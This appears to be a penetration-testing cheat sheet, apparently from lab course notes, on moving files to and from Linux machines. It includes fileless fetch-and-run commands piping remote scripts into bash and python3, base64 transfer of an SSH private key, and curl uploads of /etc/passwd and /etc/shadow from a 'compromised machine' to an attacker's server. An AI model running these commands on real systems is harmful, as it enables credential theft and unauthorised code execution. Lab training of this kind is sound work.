Linux

Base64 Encoding / Decoding

  • We use MD5 to verify file integrity
terminal
md5sum id_rsa
  • Encode to base64
bash
$ cat id_rsa | base64 -w 0; echo
  • Decode on the other machine
terminal
$ echo -n 'cadena_codificada_base64' | base64 -d > id_rsa
  • Verify file integrity on the other machine
terminal
md5sum id_rsa

Wget & Curl

terminal
$ wget http://<ip>/LinEnum.sh -O /tmp/LinEnum.sh$ curl -o /tmp/LinEnum.sh http://<ip>/LinEnum.sh

Fileless Attacks

terminal
$ curl http://<ip>/LinEnum.sh | bash$ wget -qO- http://<ip>/helloworld.py | python3

Bash (Dev/TCP)

Connect to the web server
terminal
exec 3<>/dev/tcp/10.10.10.32/80
GET request
terminal
$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
Print the response
terminal
$ cat <&3

SSH

Enable the SSH server
terminal
sudo systemctl enable sshsudo systemctl start ssh
Check which port SSH is listening on
terminal
netstat -lnpt
Download the file using SCP
terminal
$ scp plaintext@192.168.49.128:/root/myroot.txt .

Upload Operations

Web (UploadServer)

Create a self-signed certificate
terminal
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
Start the server with HTTPS
terminal
$ mkdir https && cd https$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
Upload files from a compromised machine
terminal
$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Web (Basic)

terminal
$ python3 -m http.serverpython2.7 -m SimpleHTTPServerphp -S 0.0.0.0:8000ruby -run -ehttpd . -p8000
From the attacker machine, retrieve the files
terminal
$ wget 192.168.49.128:8000/filetotransfer.txt

SCP Upload

Some companies may allow the SSH protocol (TCP/22) for outbound connections, and if that is the case, we can use an SSH server with the scp utility to upload files
terminal
$ scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/